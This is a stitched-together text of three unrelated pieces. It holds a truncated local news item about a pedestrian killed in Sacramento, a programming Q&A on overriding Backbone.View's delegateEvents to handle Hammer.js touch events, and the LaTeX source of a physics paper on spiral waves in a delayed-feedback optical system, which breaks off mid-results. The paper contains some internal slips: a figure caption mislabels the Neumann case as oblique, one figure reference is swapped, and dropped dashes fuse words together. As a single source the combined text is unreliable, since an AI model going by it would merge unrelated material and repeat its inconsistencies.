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SACRAMENTO— A pedestrian walking across El Camino Avenue, near Morse Avenue, was hit and killed Sunday night, CHP says. The crash happened just before 9:30 p.m. Authorities tell FOX40 that the pedestrian was trying to cross El Camino Avenue in an area without a crosswalk when they were hit by a blue pickup truck. CHP says that the driver of the pickup was under the influence at the time of the collision. The driver has been arrested and booked at […] |
Q:
overriding Backbone.View delegateEvents so the events object can include mobile events
I am using Hammer.js to capture touchscreen events in a Backbone View. Hammer has a special syntax for adding touch listeners, which I have been using in the View's initialize function:
$("#next-button").hammer({prevent_default: true}).on('tap', $.proxy(this.next, this));
I would rather add it to the standard events object, like this:
events: {"tap #next-button":"next"}
So I hacked the end of Backbone.View's delegateEvents method:
var isMobileEvent=["tap", "doubleTap"].indexOf(eventName)!=-1;
if (selector === '') {
if (isMobileEvent){
this.$el.hammer({prevent_default: true}).on(eventName, method);
} else {
this.$el.on(eventName, method);
}
} else {
if (isMobileEvent){
this.$el.hammer({prevent_default: true}).on(eventName, selector, method);
} else {
this.$el.on(eventName, selector, method);
}
}
This works fine. But when I tried to override the method in the one View where it was needed the override (worried that I would forget about this hack in Backbone, or overwrite it with a new version of Backbone, etc.), delegateEvents for my View stopped working. The problem is that the method callback is not recognized as a method:
if (!_.isFunction(method)) method = this[events[key]];
Why? I literally copy and pasted the function into the View subclass. Here is the whole delegateEvents that works in Backbone, but not in my Backbone.View:
delegateEvents: function(events) {
if (!(events || (events = _.result(this, 'events')))) return;
this.undelegateEvents();
for (var key in events) {
var method = events[key];
if (!_.isFunction(method)) method = this[events[key]];
if (!method) throw new Error('Method "' + events[key] + '" does not exist');
var match = key.match(delegateEventSplitter);
var eventName = match[1], selector = match[2];
method = _.bind(method, this);
eventName += '.delegateEvents' + this.cid;
var isMobileEvent=["tap", "doubleTap"].indexOf(eventName)!=-1;
if (selector === '') {
if (isMobileEvent){
this.$el.hammer({prevent_default: true}).on(eventName, method);
} else {
this.$el.on(eventName, method);
}
} else {
if (isMobileEvent){
this.$el.hammer({prevent_default: true}).on(eventName, selector, method);
} else {
this.$el.on(eventName, selector, method);
}
}
}
THE FIX:
Replace this line:
var match = key.match(delegateEventSplitter);
with this one:
var match = key.match(/^(\S+)\s*(.*)$/);
A:
This jsbin shows how it is possible to override the default Backbone View logic for delegateEvents.
You can easily extend it as needed to handle Hammer.JS as you had above to extend Backbone to support the various touch events.
I needed to copy the value of delegateEventSplitter locally as it's privately declared (within a closure) inside of the Backbone library. Only functions that were executed/returned within the context of that variable are able to access that value. Since your new class does not execute in that context, it's unable to directly access the value.
The relevant code:
var SampleView = Backbone.View.extend({
events: {
"click" : '_clicked'
},
delegateEvents: function(events) {
if (!(events || (events = _.result(this, 'events')))) return;
this.undelegateEvents();
for (var key in events) {
var method = events[key];
if (!_.isFunction(method)) method = this[events[key]];
if (!method) throw new Error('Method "' + events[key] + '" does not exist');
var match = key.match(/^(\S+)\s*(.*)$/);
var eventName = match[1], selector = match[2];
method = _.bind(method, this);
eventName += '.delegateEvents' + this.cid;
if (selector === '') {
this.$el.on(eventName, method);
} else {
this.$el.on(eventName, selector, method);
}
}
},
render: function() {
this.$el.html("hi");
return this;
},
_clicked: function() {
alert("clicked!");
}
});
// assumes there's an element with an id of "content"
$(function() {
var view = new SampleView();
$("#content").append(view.render().$el);
});
|
---
abstract: 'We study spiral waves in a mathematical model of a nonlinear optical system with a feedback loop. Starting from a delayed scalar diffusion equation in a thin annulus with oblique derivative boundary conditions, we shrink the annulus and derive the limiting equation on a circle. Based on the explicitly constructed normal form of the Hopf bifurcation for the one-dimensional delayed scalar diffusion equation, we make predictions about the existence and stability of two-dimensional spirals that we verify in direct numerical simulations, observing pulsating and rotating spiral waves.'
author:
- Stanislav Budzinskiy
- Alexander Razgulin
bibliography:
- 'zotero.bib'
title: Pulsating and rotating spirals in a delayed feedback diffractive nonlinear optical system
---
Introduction
============
Spirals are common patterns to be observed across various areas of natural sciences, including the Belousov-Zhabotinskiy chemical reaction [@WinfreeSpiral1972; @WinfreeGeometry2001], reentrant excitation in cardiac tissues [@DavidenkoEtAlStationary1992], and others. Among the first mathematical results were the analysis and description of logarithmic [@CohenEtAlRotating1978] and Archimedian [@GreenbergSpiral1980] spirals in the so-called $\lambda-\omega$ systems, which are simple mathematical models of reaction-diffusion processes; even though $\lambda-\omega$ systems are thought to have little correspondence with real physical systems, they appear naturally in asymptotic analysis of general reaction-diffusion equations when Hopf bifurcation happens [@CohenEtAlRotating1978; @DuffyEtAlSpiral1980]. Asymptotic expressions for planar spirals in the far outer region were obtained in [@GreenbergPeriodic1976] on the basis of the dispersion relation for one-dimensional periodic travelling waves. This approach was picked up in [@MikhailovKrinskyRotating1983] where spirals in bounded and unbounded circular domains were considered as ensembles of independent one-dimensional periodic oscillators whose phases were connected via a spiral-shape-defining function. For a thorough review of perturbation approaches to spiral waves we address the reader to [@TysonKeenerSingular1988].
In practice spirals tend to lose stability as the tip ceases to trace a circle; this leads to such phenomena as meandering and drifting spirals. It was established numerically in [@BarkleyEtAlSpiralwave1990] that meandering spirals bifurcate from rigidly rotating spirals via a Hopf bifurcation (an alternative view was discussed in [@GolubitskyEtAlMeandering1997]) and linear stability of the latter was studied in [@BarkleyLinear1992]. It was then proposed that the way rigidly rotating spirals lose stability could be explained by invoking the Euclidean symmetry of the plane [@BarkleyEuclidean1994], which lead to an equivariant low-dimensional ODE model describing the appearance of meandering spirals [@BarkleyKevrekidisdynamical1994]. This ODE model served as a simple dynamical system describing the spiral dynamics in reaction-diffusion systems but the connection between them needed to be justified; this was achieved in [@SandstedeEtAlDynamics1997; @SandstedeEtAlCentermanifold1997; @SandstedeEtAlBifurcations1999; @FiedlerEtAlBifurcation1996] with the use of center manifolds. Center manifolds were further employed for rigidly rotating spirals bifurcating from homogeneous equilibria [@ScheelBifurcation1998] and for the period-doubling instability phenomenon [@SandstedeScheelPeriodDoubling2007]. Meandering spirals were also studied in the kinematic framework [@MikhailovZykovKinematical1991; @MikhailovEtAlComplex1994].
The understanding of spiral spectra is of immense importance for stability analysis and was approached both numerically [@BarkleyLinear1992; @WheelerBarkleyComputation2006] and analytically [@SandstedeScheelAbsolute2000; @SandstedeScheelAbsolute2000a]. For instance, spiral spectra were studied on discs and on the whole plane, and it was shown that spectra on discs converge to the union of the absolute spectrum and point eigenvalues as radius tends to infinity [@SandstedeScheelAbsolute2000a; @WheelerBarkleyComputation2006].
Another concern is how spirals in reaction-diffusion systems respond to external perturbations, which are inevitable in real physical experiments. External periodic forcing was studied for reaction-diffusion equations themselves [@SteinbockEtAlControl1993; @ZykovEtAlExternal1994] and for a qualitatively accurate low-dimensional ODE model [@MantelBarkleyPeriodic1996] to explain and describe resonant drift dynamics of spirals. A method based on response function of spiral waves was developed in a series of papers [@BiktashevaEtAlLocalized1998; @BiktashevaBiktashevResponse2001; @BiktashevaEtAlComputation2009]; it was then applied to investigate the drift dynamics [@BiktashevaDrift2000; @BiktashevEtAlOrbital2010; @BiktashevaEtAlComputation2010] and the wave-particle duality [@BiktashevaBiktashevWaveparticle2003; @LanghamBarkleyNonspecular2013; @LanghamEtAlAsymptotic2014] of spirals.
While external disturbances may appear on their own, they can also be voluntarily introduced with the aim to control the dynamics of the system: to sustain (or suppress) spiral waves, for example. Periodic external forcing is an example of an *a priori* designed control; however the control may also depend on the state of the system. Control of spiral waves by means of delayed feedback was studied in [@GrillEtAlFeedbackControlled1995; @ZykovEtAlControlling1997; @ZykovEtAlGlobal2004; @ZykovEngelFeedbackmediated2004; @ZykovEtAlInterference2005]. Such feedback can be used, for instance, to suppress spiral waves in cardiac tissue [@PanfilovEtAlElimination2000].
All the aforementioned paperswhether they treated spirals in unbounded domains or in more physically realistic bounded domains with zero-flux boundary conditionsworked with *systems* of reaction-diffusion equations since it was only through interaction of several substances that Hopf bifurcation could occur. Meanwhile, eigenvalues could be forced to be complex by means of different mechanisms. In [@DellnitzEtAlSpirals1995], the authors considered a scalar diffusion equation in a disc with ‘spiral‘ (essentially oblique derivative) boundary conditions. Due to the boundary conditions the Laplacian ceases to be self-adjoint and produces complex eigenvalues, making Hopf bifurcation possible. Robin boundary conditions could also be used for spiral and target patterns [@GolubitskyEtAlTarget2000]. It is suggested to understand these boundary conditions not as real boundary conditions but as effective boundary conditions or as matching conditions on the edge of the spiral’s core.
Optical spirals are among the most vivid examples of self organization of light. They can be experimentally observed even in the simplest optical systems consisting of a thin liquid crystal light valve and a feedback loop, which can be all-optical or may contain digital control elements [@AkhmanovEtAlControlling1992]. As the feedback loop is exceptionally flexible in terms of its possible configurations, feedback optical systems are very versatile for studying complex nonlinear phenomena and at the same time are easily controllable. For instance, optical kaleidoscope systems can serve as models for ‘dry hydrodynamics‘: pattern formation of light waves resemblesunder certain conditionscomplex hydrodynamical flows [@VorontsovEtAlSelfOrganization1998].
Optical spirals can be excited even in one-component systems with feedback, but this requires a combination of local (diffusion and/or diffraction) and nonlocal (rotation of spatial arguments and/or time delay) interaction mechanisms in the feedback loop. Typically, diffusion and argument rotation are used to model spirals [@AdachiharaFaidTwodimensional1993; @ZheleznykhEtAlRotating1994] yet it is also of interest to include diffraction and delay into the model (they are natural for systems with fast Kerr nonlinearities [@AkhmanovEtAlControlling1992]).
For a combination of diffusion and spatial rotation, spiral waves in a disc were suggested to inevitably decay into simpler multi-petal waves [@AdachiharaFaidTwodimensional1993]. This was later claimed to be a ‘wrong conclusion‘ in [@ZheleznykhEtAlRotating1994], where the authors used the ideas of [@MikhailovKrinskyRotating1983] to describe spiral-wave solutions, whose stability, however, was not investigated; the authors only noted that spirals were not the naturally growing modes. This particular problem can be overcome with the help of spiral boundary conditions used in [@DellnitzEtAlSpirals1995]. In the absence of nonlocal interactions, though, the now-natural spirals in scalar diffusion equation are unstable with precisely one positive Floquet exponent (which is very close to zero, and so spirals live long in numerical simulations). Thus an additional interaction mechanism could be introduced into the system to push the zero eigenvalue of the Laplacian into the left half-plane.
In this paper, we treat the existence and stability of optical spirals in a thin annulus with spiral boundary conditions. The local interactions include diffusion in the nonlinear Kerr layer and diffraction in the feedback loop; nonlocal interactions are limited to the delay of the control signal in the feedback loop. The mathematical model is thus described by a delayed scalar functional differential diffusion equation. We propose an analytical approach to predict spiral excitation conditions in a thin annulus that is based on studying the Hopf bifurcation in the limiting (as the two-dimensional annulus shrinks) spatially one-dimensional problem on a circle. The latter can be completely understood, as the existence and stability conditions of one-dimensional rotating and standing waves can be expressed in closed form in terms of the physical parameters of the system. We take the theoretical predictions of the one-dimensional model as the basis for the two-dimensional predictions and verify them in direct numerical simulations, observing rigidly rotating and pulsating spiral waves.
Description of the model
========================
The type of an optical system that we will be looking at consists of a ring cavity formed by a number of mirrors with different reflectivity and a thin layer of Kerr-nonlinear dieletric material. As light enters the resonator, it interacts with the dielectric inducing variations in its refractive index. Then the system can be described by a Debye-type relaxation equation for the phase modulation $u$ that light gets on passing through the dielectric layer [@VorontsovFirthPattern1994; @AkhmanovEtAlControlling1992; @ChesnokovEtAlTimedelayed2002].
For a system with annular transverse aperture $\Omega$ the equation reads $$\label{eq:2d_model}
\frac{\partial u}{\partial t} = -u(\rho, \theta, t) + D \Delta u + K \left| \mathcal{B}_{z_0} e^{\mathrm{i} u(t - T)} \right|^2, \quad r < \rho < R, \quad 0 \leq \theta < 2\pi,$$ with periodic boundary conditions $$u(\rho, 0, t) = u(\rho, 2\pi, t),\qquad \frac{\partial u}{\partial \theta}(\rho, 0, t) = \frac{\partial u}{\partial \theta}(\rho, 2\pi, t).$$ Here, $\Delta$ is the Laplacian in polar coordinates. The nonlinear term is proportional to the intensity of the light field at the end of the feedback loop. In our case, a special time-delay device is installed in the ring cavity, and the light propagation operator $\mathcal{B}_{z_0}$ is modeled by a linear Schrödinger equation: $$\label{eq:2d_schrodinger}
\mathcal{B}_{z_0}: A_0(\rho,\theta) \mapsto A(\rho, \theta, z_0; A_0), \qquad \frac{\partial A}{\partial z} + \mathrm{i} \Delta A = 0,\quad A(z=0) = A_0$$ When light simply propagates within the annular aperture, Neumann boundary conditions are imposed in the radial direction $$\label{eq:bc_neumann}
\frac{\partial u}{\partial \rho}(r, \theta, t) = 0,\qquad \frac{\partial u}{\partial \rho}(R, \theta, t) = 0.$$ Keeping this as a reference case, we will look at a different type of boundary conditions that is of interest too, the oblique derivative boundary conditions, $$\label{eq:bc_oblique}
r \frac{\partial u}{\partial \rho}(r, \theta, t) = \tan{\alpha_1} \frac{\partial u}{\partial \theta}(r, \theta, t),\qquad
R \frac{\partial u}{\partial \rho}(R, \theta, t) = \tan{\alpha_2} \frac{\partial u}{\partial \theta}(R, \theta, t),$$ which have two possible meanings: either they are induced on the inner and outer boundaries of the annulus by some special equipment, or they can be used as artificial boundary conditions to describe an annular slice of spiral waves.
Spiral excitation
=================
One way to excite spiral waves is through a Hopf bifurcation. To this end, we need to understand spectral properties of the linearized problem, impose Hopf bifurcation conditions on the characteristic values of the equation, reduce the system onto its low-dimensional center manifold, and compute the normal form, whose coefficients are responsible for the qualitative behavior of periodic solutions. Unfortunately, the cubic coefficient cannot be obtained explicitly in closed form, which makes it much more complicated to predict for certain parameters of the model whether stable waves can be excited. To obviate this, we can restrict ourselves to thin annuli and then exploit connections between the thin two-dimensional model and the one-dimensional model on the circle. The annulus being thin, we will assume $$\alpha_1 = \alpha_2 = \alpha \neq 0.$$
Oblique derivative Laplacian in a thin annulus {#subsection:laplacian}
----------------------------------------------
It is well-known that bifurcation analysis depends prominently on the spectral properties of the linearized problem. For us, it is the Laplace operator in an annulus with oblique derivative boundary conditions. On separating variables, we can observe that the eigenvalues are defined by the zeros of the following cross-product of Bessel functions $$\begin{gathered}
g_{n}({\tan{\alpha}}, \kappa, \zeta) = [J_n'(\zeta)Y_n'(\kappa \zeta) - J_n'(\kappa \zeta)Y_n'(\zeta)] - \mathrm{i}\frac{{\tan{\alpha}}\cdot n}{\zeta}[J_n(\zeta)Y_n'(\kappa \zeta) - J_n'(\kappa \zeta)Y_n(\zeta)] -\\- \mathrm{i}\frac{{\tan{\alpha}}\cdot n}{\kappa \zeta}[J_n'(\zeta)Y_n(\kappa \zeta) - J_n(\kappa \zeta)Y_n'(\zeta)] - \frac{(\tan\alpha)^2 n^2}{\kappa \zeta^2}[J_n(\zeta)Y_n(\kappa \zeta) - J_n(\kappa \zeta)Y_n(\zeta)] = 0,\end{gathered}$$ where $n \in \mathbb{Z}$ stands for the angular frequency index, ${\tan{\alpha}}$ measures obliqueness of the boundary condition, and $\kappa = R/r$ measures thickness of the domain. Let $\varepsilon = \kappa - 1$ be small; then $$\label{eq:zero_0}
\zeta_{n,0}^\varepsilon({\tan{\alpha}}) = n\sqrt{(\tan\alpha)^2 + 1} \left[ 1 - \frac{\varepsilon}{2} - \left( \frac{5(\tan\alpha)^2 - 7}{(\tan\alpha)^2 + 1} + 4 \mathrm{i}\cdot{\tan{\alpha}}\cdot n \right)\frac{\varepsilon^2}{24} + \ldots \right]$$ and $$\label{eq:zero_k}
\zeta_{n,s}^\varepsilon({\tan{\alpha}}) = \frac{s\pi}{\varepsilon} + \frac{ \frac{4n^2 + 3}{8} + \mathrm{i}\cdot{\tan{\alpha}}\cdot n}{\varepsilon + 1}\left(\frac{s\pi}{\varepsilon}\right)^{-1} + \ldots$$ with $s \in \mathbb{Z}^+$ the radial frequency index [@BudzinskiyZeros2019]. The corresponding eigenvalues are then given by $\lambda_{n,s}^\varepsilon({\tan{\alpha}}) = -(\zeta_{n,s}^\varepsilon({\tan{\alpha}}) / r)^2$. As is commonplace for Laplacians in thin domains, the eigenvalues can be separated in two groups: those that remain finite as the domain shrinks (those on the zeroth frequency in the thin dimension) and those that blow up. The following spectral convergence theorem then follows from and .
Let $\lbrace \lambda_q^\varepsilon \rbrace_{q \in \mathbb{N}}$ be $\lbrace \lambda_{n,s}^\varepsilon \rbrace_{n \in \mathbb{Z}, s \in \mathbb{Z}^+}$ enumerated so that $|\lambda_q^\varepsilon| \leq |\lambda_{q+1}^\varepsilon|$. Then as $\varepsilon \longrightarrow 0$, they converge $$\lambda_q^\varepsilon \longrightarrow \lambda_q^0 = -\frac{(\tan\alpha)^2 + 1}{r^2}q^2$$ to the eigenvalues of scaled second derivative operator on a circle $$\frac{(\tan\alpha)^2 + 1}{r^2} \frac{\partial^2}{\partial \theta^2}$$
Bifurcation analysis of the two-dimensional problem
---------------------------------------------------
In our quest for bifurcating spirals we aim to leap promptly to the limit problem; nonetheless, it needs to be checked whether the two-dimensional problem has a center manifold and whether the normal form on it describes the dynamics of the system. To this end we refer to [@FariaNormal2000], where these questions are answered positively given that the linearized operator acting on $u(t)$ generates a “good” semigroup and that the linearized operator acting on $u(t - T)$ is bounded.
The “goodness” of the former is established in
\[theorem:2\] The linear operator associated with the oblique derivative boundary value problem in an annulus, acting in $L^2(\Omega)$ and defined on the subspace of $H^2(\Omega)$ of functions satisfying the boundary conditions, generates an immediately compact $C_0$-semigroup.
The boundness of the latter appears to be a more delicate issue (for our particular model), and we leave its rigorous treatment for future papers. Instead, we present an informal discussion of the subject in Appendix \[appendix:1\].
Though we have not proved our problem to agree with all the assumptions made in [@FariaNormal2000], it seems reasonable to consider pathologies unlikely.
Bifurcation analysis of the limit problem
-----------------------------------------
The one-dimensional model on a circle is given by $$\frac{\partial u}{\partial t} = -u(\theta, t) + \Tilde{D} \frac{\partial^2 u}{\partial \theta^2} + K \left| \mathcal{B}_{\tilde{z}_0} e^{\mathrm{i} u(t - T)} \right|^2$$ with periodic boundary conditions $$u(0, t) = u(2\pi, t),\qquad \frac{\partial u}{\partial \theta}(0, t) = \frac{\partial u}{\partial \theta}(2\pi, t).$$ The Schrödinger operator is changed accordingly. Here, the diffusion and diffraction coefficients are scaled as $$\tilde{D} = \frac{(\tan{\alpha})^2 + 1}{r^2}D, \qquad \tilde{z}_0 = \frac{(\tan{\alpha})^2 + 1}{r^2} z_0.$$ This model was scrutinized in [@BudzinskiyRazgulinRotating2017; @BudzinskiyRazgulinNormal2017] so we will outline its bifurcation analysis while skipping the technical details.
To study periodic wave solutions bifurcating from a steady state, we localize the problem about the constant solution $u = K$. The nonlinearity parameter $K$ will also serve as the bifurcation parameter so we represent it as $K = \hat{K} + \mu$ with $\mu$ small. We then rewrite the boundary value problem as an abstract dynamical system in the phase space $C\left([-T,0]; H^2_\mathrm{periodic}[0,2\pi] \right)$ of Sobolev-space-valued continuous functions on the delay interval; similar phase spaces are standard in the theory of functional differential equations since the initial data need to be specified on the whole interval.
Next we formulate the Hopf bifurcation conditions that a pair of characteristic values crosses the imaginary axis with nonzero speed at $\mu = 0$. The characteristic equation is understood in the same sense as in the theory of ODEs: we probe the linear part of the equation with exponentials $$h(\theta)e^{\lambda\xi} \in C\left([-T,0]; H^2_\mathrm{periodic}[0,2\pi] \right),$$ and a characteristic value is then a solution of $$-h + \tilde{D} h'' - 2 \hat{K} \mathrm{Im}\left[\mathcal{B}_{\tilde{z}_0}h\right] e^{-\lambda T} = \lambda h, \qquad \lambda \in \mathbb{C}.$$
[(Hopf)]{} There is only one pair of complex conjugate imaginary characteristic values $\lambda_* = \pm \mathrm{i} \nu_* \neq 0$.
On expanding $h(\theta)$ into Fourier series $$h(\theta) = \sum_{n \in \mathbb{Z}}h_n e^{\mathrm{i} n \theta}$$ we get that either $h_n = 0$ or $$\begin{aligned}
&\nu_* = 2\hat{K}\sin(n^2 \tilde{z}_0)\sin(\nu_* T),\\
&1 + \tilde{D}n^2 + 2\hat{K}\sin(n^2 \tilde{z}_0)\cos(\nu_* T) = 0.\end{aligned}$$ Since $\nu_* \neq 0$ and $\tilde{D} > 0$, the latter can be satisfied only for a single pair of $n = \pm n_*$. This means that the characteristic values $\lambda_* = \pm \mathrm{i} \nu_*$ are double-degenerate, and this was in fact already known since the equation is $O(2)$-equivariant. Note that the transversality condition is met automatically [@BudzinskiyRazgulinNormal2017].
For the $O(2)$-equivariant Hopf bifurcation the center subspace is four-dimensional and is spanned by $$\mathrm{span}\lbrace e^{\mathrm{i}(n_*\theta + \nu_* \xi)}, e^{\mathrm{i}(n_*\theta - \nu_* \xi)}, e^{-\mathrm{i}(n_*\theta + \nu_* \xi)}, e^{-\mathrm{i}(n_*\theta - \nu_* \xi)} \rbrace.$$ The solution is then approximately given by a sum of counter-propagating rotating waves $$u(\theta, \xi) = \hat{K} + \mu + \left( \eta_1 e^{\mathrm{i}(n_*\theta + \nu_* \xi)} + \eta_2 e^{\mathrm{i}(n_*\theta - \nu_* \xi)} + \ldots \right) + \mathrm{c.c}$$ If we let $\eta_1 = p_1 e^{\mathrm{i}\omega_1}$ and $\eta_2 = p_2 e^{\mathrm{i}\omega_2}$ then the normal form of the $O(2)$-equivariant Hopf bifurcation is $$\begin{aligned}
&\dot{p_1} = p_1 \left( A_1 \mu + A_2^{(1)}p_1^2 + A_2^{(2)}p_2^2 \right) + \mathcal{O}(p_1\mu^2 + |(p_1, p_2, \mu)|^4)\\
&\dot{\omega_1} = \nu_* + \mathcal{O}(|(p_1, p_2, \mu)|)\\
&\dot{p_2} = p_2 \left( A_1 \mu + A_2^{(1)}p_2^2 + A_2^{(2)}p_1^2 \right) + \mathcal{O}(p_2\mu^2 + |(p_1, p_2, \mu)|^4)\\
&\dot{\omega_2} = \nu_* + \mathcal{O}(|(p_1, p_2, \mu)|),\end{aligned}$$ where the coefficients $A_1(\tilde{D}, T, n_*, \nu_*, \tilde{z}_0, \hat{K})$, $A_2^{(1)}(\tilde{D}, T, n_*, \nu_*, \tilde{z}_0, \hat{K})$, and $A_2^{(2)}(\tilde{D}, T, n_*, \nu_*, \tilde{z}_0, \hat{K})$ are known explicitly and in closed form [@BudzinskiyRazgulinNormal2017], and they define the qualitative behavior of the system. In the supercritical case of $\mu > 0$, the most interesting phase portraits correspond to $$A_1 > 0, \qquad A_2^{(1)} < 0, \qquad A_2^{(1)} + A_2^{(2)} < 0.$$ Then three types of periodic solutions exist: a clockwise rotating wave, a counter-clockwise rotating wave, and a standing wave. Based on the sign of $A_2^{(1)} - A_2^{(2)}$, two cases are possible: either rotating waves are stable, or the standing wave is (see Figure \[fig:phase\_portrait\]).
![Possible phase portraits of the $O(2)$-equivariant Hopf bifurcation normal form in the $(p_1, p_2)$ coordinates. The dots correspond to: (green) constant solution; (blue) rotating waves; (red) standing wave.[]{data-label="fig:phase_portrait"}](phase_space_test_color.png){width="0.7\linewidth"}
Application of one-dimensional analysis
---------------------------------------
In terms of dynamics, reaction-diffusion equations on thin domains with Neumann boundary conditions in the thin dimension are closely related with their lower-dimensional limits. In the seminal paper [@HaleRaugelReactiondiffusion1992] it was proved that attractors are upper semicontinuous as the thin domain shrinks. Persistence of the bifurcation structure was shown for elliptic equations in thin domains [@KanPersistence2010].
In our previous paper [@BudzinskiyEtAlReducing2018] we applied this idea to model two-dimensional bifurcating periodic wave solutions in a delayed feedback nonlinear optical system (despite the theory of functional differential equations on thin domains not being developed yet). Unlike the one-dimensional model on a circle, in the two-dimensional case with Neumann boundary conditions the coefficients of the normal form cannot be computed explicitly even though we know that it has the same structure corresponding to the $O(2)$-equivariant Hopf bifurcation. So we tried to choose the parameters of the two-dimensional system in such a way that its limit one-dimensional problem would have orbitally stable rotating/standing waves, and indeed we managed to excite them in the thin annulus.
It was noted in [@RaugelDynamics1995] that similar behavior is expected from equations with oblique derivative boundary conditions in the thin dimension. However, there are certain nuances. In the limit, the problem acquires an additional symmetry and so goes from $SO(2)$- to $O(2)$-equivariancy. The normal form of the $SO(2)$-equivariant Hopf bifurcation is just the standard Hopf bifurcation and consists of 2 equations; so there are only two coefficients that define the qualitative properties of solutions. Meanwhile as in the two-dimensional Neumann problem we cannot evaluate both of them explicitly, and the situation is further worsened since the oblique Laplacian is non-self-adjoint. Thus we decide to use a more complicated normal form of the $O(2)$-equivariant Hopf bifurcation of the limit problem as the source of knowledge about stability of two-dimensional waves.
Numerical experiments
=====================
To excite spiral waves, we will use two sets of parameters that are in Table \[tab:params\] by scaling them according to the oblique angle and inner radius of the annulus. They guarantee existence and orbital stability of rotating or standing waves, respectively, in the one-dimensional limit problem on a circle. For our experiments we will use $r = 1$, $R = 1.1$, perturbation of the nonlinearity parameter $\mu = 0.1$, and $\alpha \in \lbrace 0, \arctan(\nicefrac{3}{4})\rbrace$; comparing Neumann and oblique cases, we will vividly see how the introduction of obliqueness affects the dynamics of the system.
--------------- ----------- ------------- --------------- --------------- ------- ---------
**Wave type** $\hat{K}$ $\tilde{D}$ $T \, (\tau)$ $\tilde{z}_0$ $n_*$ $\nu_*$
Rotating 3.286 0.068 1.817 0.0158 7 1.540
Standing 3.662 0.214 0.592 0.06 4 4.052
--------------- ----------- ------------- --------------- --------------- ------- ---------
: Parameters of the limiting one-dimensional problem on a circle that meet the requirements of the Hopf bifurcation, asymptotic stability of the center manifold, and orbital asymptotic stability of rotating/standing waves.[]{data-label="tab:params"}
To start a simulation, it remains to prescribe the initial data for our initial-boundary value problem, which owing to the delay $T$ needs to be given on the whole $[-T,0]$ interval. As the basic waveform we will choose $$\cos(n (\tan{\alpha}\ln{\rho} + \theta) + \nu t),$$ which meets the boundary conditions. We shall consider two types of initial data: a pure rotating spiral and a combination of counterpropagating spirals. See Table \[tab:ICparams\] for more details.
**Spiral type** **Expression**
---------------------------------------------- ------------------------------------------------------------------------------
Basic waveform $\mathcal{V}(\alpha, n, \nu)$ $\cos(n (\tan{\alpha}\ln{\rho} + \theta) + \nu t)$
Outward rotating $0.4 \mathcal{V}(\alpha, n_*, \nu_*)$
Combination of inward and outward $0.15\mathcal{V}(\alpha, n_*, \nu_*) + 0.25\mathcal{V}(\alpha, n_*, -\nu_*)$
: Different initial conditions to be imposed on $[-T,0]$ for numerical simulations. The basic waveform $\mathcal{V}(\alpha, n, \nu)$ satisfies the oblique derivative boundary conditions with angle $\alpha$. Assuming here that $\alpha \geq 0$, $n_* > 0$, and $\nu_* > 0$.[]{data-label="tab:ICparams"}
To illustrate the behavior of a solution, we will present its snapshots. Each snapshot covers a time interval $[t_1, t_2]$ and shows the evolution of the angular slice in the middle of the annulus $v(\frac{R + r}{2}, \theta, t)$ and the plot of the solution at the end of the time interval $v(\rho, \theta, t_2)$. See Appendix for the numerical method.
Rotating parameters
-------------------
Let us look at the system with the parameters that give orbitally stable rotating waves in the one-dimensional limit problem (see Table \[tab:params\]). At first we verify the existence of spiral-wave solutions by commencing the evolution with a pure outward rotating spiral initial condition (see Table \[tab:ICparams\]). As Figures \[fig:rotating\_pure\_neumann\] and \[fig:rotating\_pure\_oblique\] demonstrate for $\alpha \in \lbrace 0, \arctan(\nicefrac{3}{4})\rbrace$, the solutions keep their initial form and do not decay. In Figure \[fig:rotating\_pure\_oblique\], the angle-radius plot at the end of the time interval consists of slanting bars, which signify the presence of phase difference between inner and outer circles; the wave is rotating clockwise, hence the spiral is outward. On the contrary, the phase difference is not present in Figure \[fig:rotating\_pure\_oblique\] because of the Neumann boundary conditions.
[0.48]{} ![Simulation with rotating parameters (Table \[tab:params\]), Neumann boundary conditions $\alpha = 0$, and pure rotating spiral initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,7T]$ and $[242T, 250T]$.[]{data-label="fig:rotating_pure_neumann"}](rotating_neumann_rotating_beg_alt.pdf "fig:"){width="\linewidth"}
[0.48]{} ![Simulation with rotating parameters (Table \[tab:params\]), Neumann boundary conditions $\alpha = 0$, and pure rotating spiral initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,7T]$ and $[242T, 250T]$.[]{data-label="fig:rotating_pure_neumann"}](rotating_neumann_rotating_end_alt.pdf "fig:"){width="\linewidth"}
[0.48]{} ![Simulation with rotating parameters (Table \[tab:params\]), oblique boundary conditions $\alpha = \arctan(\nicefrac{3}{4})$, and pure rotating spiral initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,7T]$ and $[242T, 250T]$.[]{data-label="fig:rotating_pure_oblique"}](rotating_oblique_rotating_beg_alt.pdf "fig:"){width="\linewidth"}
[0.48]{} ![Simulation with rotating parameters (Table \[tab:params\]), oblique boundary conditions $\alpha = \arctan(\nicefrac{3}{4})$, and pure rotating spiral initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,7T]$ and $[242T, 250T]$.[]{data-label="fig:rotating_pure_oblique"}](rotating_oblique_rotating_end_alt.pdf "fig:"){width="\linewidth"}
Next, let us turn to stability properties of the spirals. To this end we set the initial data as a sum of inward and outward rotating spirals, where the inward one has a higher amplitude (see Table \[tab:ICparams\]). The results are shown in Figures \[fig:rotating\_mix\_neumann\] and \[fig:rotating\_mix\_oblique\]. When $\alpha = 0$, the system is $O(2)$-equivariant and so has no preferable direction of rotation. It exhibits winner-takes-all dynamics: the wave with the higher amplitude snowballs its dominance to dwarf its counter-propagating rival wave and make it disappear. That is, the solution evolves into a clockwise rotating wave in Figure \[fig:rotating\_mix\_neumann\]. At the same time, the oblique problem can tell clockwise and counterclockwise directions apart, favoring the counterclockwise, which corresponds to the outward rotating spiral. So in Figure \[fig:rotating\_mix\_oblique\], the solution rotates counterclockwise in the end. This demonstrates that winner-takes-all dynamics is no longer present in the oblique problem and that the outward spiral is attractive.
[0.48]{} ![Simulation with rotating parameters (Table \[tab:params\]), oblique boundary conditions $\alpha = 0$, and mixed initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,7T]$ and $[242T, 250T]$.[]{data-label="fig:rotating_mix_neumann"}](rotating_neumann_mix_beg_alt.pdf "fig:"){width="\linewidth"}
[0.48]{} ![Simulation with rotating parameters (Table \[tab:params\]), oblique boundary conditions $\alpha = 0$, and mixed initial data (Table \[tab:ICparams\]). Showing snapshots at $[-T,7T]$ and $[242T, 250T]$.[]{data-label="fig:rotating_mix_neumann"}](rotating_neumann_mix_end_alt.pdf "fig:"){width="\linewidth"}
